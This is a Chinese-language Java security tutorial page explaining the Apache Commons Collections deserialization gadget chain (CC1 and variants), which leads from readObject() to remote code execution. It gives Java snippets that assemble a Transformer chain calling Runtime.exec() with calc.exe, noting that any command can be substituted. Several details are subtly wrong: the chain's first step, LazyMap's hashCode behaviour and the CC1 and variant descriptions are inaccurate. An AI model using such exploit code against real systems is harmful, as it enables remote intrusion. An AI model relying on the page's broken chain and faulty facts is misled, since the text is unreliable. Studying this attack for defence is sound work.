Java安全
Java 基础知识
01概述
02变量
03运算符
04程序控制语句
05数组
06面向对象编程
07代码练习
08重载
09作用域
10构造方法&构造器
11this
12包
13修饰符
14封装
15继承
16super
17覆盖&重写
18多态
19零钱通项目
20类变量&类方法
21抽象类
22接口
23内部类
24枚举
25泛型
26常用API
27lambda表达式
28正则表达式
29异常
30File&IO流
31日志技术
32多线程
33网络编程
01反射
02反序列化
03JVM
04JDBC
05RMI
06JRMP
07JNDI
08CDI
09JPA
10Servlet
11Filter
12MVC模型
13MVC框架
14类的加载机制
15Maven
16注解
17ORM
18CC链
19JNDI注入
Log4j2
-
+
首页
18CC链
## 概述 CC 链(Commons Collections Gadget Chain)是基于 Apache Commons Collections 库构造的 Java 反序列化漏洞利用链,是 Java 反序列化攻击中最经典、影响最广泛的利用链之一。 其核心是通过滥用该库中特定类的方法调用关系,在目标程序反序列化恶意数据时,触发从readObject()到Runtime.exec()的完整调用链,最终实现远程代码执行(RCE)。 ## 背景 Apache Commons Collections(简称 “CC 库”)是 Java 生态中极其常用的工具库,提供了大量扩展集合类(如LazyMap、Transformer等),被广泛集成在 WebLogic、JBoss、Jenkins 等主流 Java 应用中。 Java 反序列化的风险点在于:当程序对不可信数据执行反序列化(如调用ObjectInputStream.readObject())时,会自动触发被反序列化对象的readObject()方法;若该方法或其调用的后续方法链中存在可被控制的逻辑(如反射调用、命令执行),攻击者即可构造恶意对象,通过反序列化触发恶意代码。 CC 链的核心价值在于:利用 CC 库中类的设计特性,构造了一条 “反序列化入口→中间方法调用→命令执行” 的完整链条,且因 CC 库的普及性,使其成为跨多个应用的通用利用链。 ## 原理 CC 链的本质是通过多个类的方法嵌套调用,将反序列化的初始入口(readObject())与命令执行函数(Runtime.exec())连接起来。其核心依赖 CC 库中两个关键设计: Transformer接口:CC 库定义的函数式接口,包含transform(Object input)方法,用于对输入对象进行转换(类似 “函数传递”)。 - 关键实现类:InvokerTransformer(通过反射调用任意方法)、ChainedTransformer(组合多个Transformer,依次执行transform)。 集合类的 “惰性计算” 或 “触发式方法”:部分集合类(如LazyMap)的方法(如get())会自动调用Transformer的transform方法,形成 “集合操作→函数调用” 的触发关系。 ## 拆解 CC1 链适用于 Commons Collections 3.1~3.2.1 版本,核心调用链如下: ```txt ObjectInputStream.readObject() → HashMap.readObject() (反序列化HashMap时触发) → HashMap.hash(key) (计算键的哈希值) → key.hashCode() (调用键的hashCode方法,此处key为LazyMap实例) → LazyMap.get() (LazyMap的hashCode会触发get方法) → ChainedTransformer.transform() (LazyMap关联的Transformer链) → 依次调用多个InvokerTransformer.transform() → 最终调用Runtime.exec() (执行恶意命令) ``` ### InvokerTransformer InvokerTransformer的transform方法通过反射调用任意类的任意方法,构造如下: ```java // 构造一个调用Runtime.exec()的InvokerTransformer Transformer execTransformer = new InvokerTransformer( "exec", // 方法名 new Class[]{String.class}, // 方法参数类型 new Object[]{"calc.exe"} // 方法参数(恶意命令) ); ``` ### ChainedTransformer ChainedTransformer接收一个Transformer数组,其transform方法会按顺序调用数组中每个Transformer的transform,实现 “链式调用”。 例如,构造从Runtime类到exec方法的链: ```java Transformer[] transformers = new Transformer[]{ // 第一步:通过Class.forName获取Runtime类 new InvokerTransformer("forName", new Class[]{String.class}, new Object[]{"java.lang.Runtime"}), // 第二步:调用Runtime.getRuntime()获取实例 new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), // 第三步:调用Runtime.exec()执行命令 new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), execTransformer // 最终执行命令 }; ChainedTransformer chain = new ChainedTransformer(transformers); ``` ### LazyMap LazyMap是一个 “惰性加载” 的 Map,其get(key)方法会在键不存在时,调用关联的Transformer的transform方法生成值。 通过MapUtils.lazyMap将ChainedTransformer与LazyMap绑定: ```java Map lazyMap = MapUtils.lazyMap(new HashMap(), chain); // lazyMap关联chain ``` ### HashMap HashMap的readObject方法在反序列化时,会对所有键值对执行hash(key)计算哈希值,进而调用键的hashCode()方法。 若将lazyMap作为HashMap的键,反序列化时会触发lazyMap.hashCode(),而LazyMap的hashCode会调用get方法,最终触发ChainedTransformer的链式调用: ```java HashMap evilMap = new HashMap(); evilMap.put(lazyMap, "value"); // 将lazyMap作为键放入HashMap // 序列化evilMap,得到恶意字节流 ``` ### 触发执行 当目标程序反序列化evilMap的字节流时,HashMap.readObject()会按上述流程触发整个调用链,最终执行calc.exe(弹出计算器,实际攻击中可替换为任意命令)。 ## CC 链变体 随着 CC 库版本更新和防御措施升级,衍生出多个 CC 链变体,核心差异在于 “触发点” 和 “中间类” 的选择: - CC6 链:针对 CC 3.1 版本,使用TiedMapEntry(其hashCode方法会调用Map.get())作为触发点,替代 CC1 中直接用LazyMap作为键的方式,规避部分防御。 - CC3/4 链:结合PriorityQueue(优先级队列,反序列化时会调用comparator的compare方法)作为触发入口,适用于不同场景的反序列化流程。 ## 影响范围 CC 链的影响极其广泛,凡集成了 Commons Collections 3.x(3.1~3.2.1)且存在反序列化漏洞的 Java 应用(如 WebLogic、JBoss、Jenkins、Apache Struts2 等),均可能被利用实现远程代码执行,是 Java 反序列化漏洞中最具代表性的攻击手段。
毛林
2025年10月27日 21:02
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码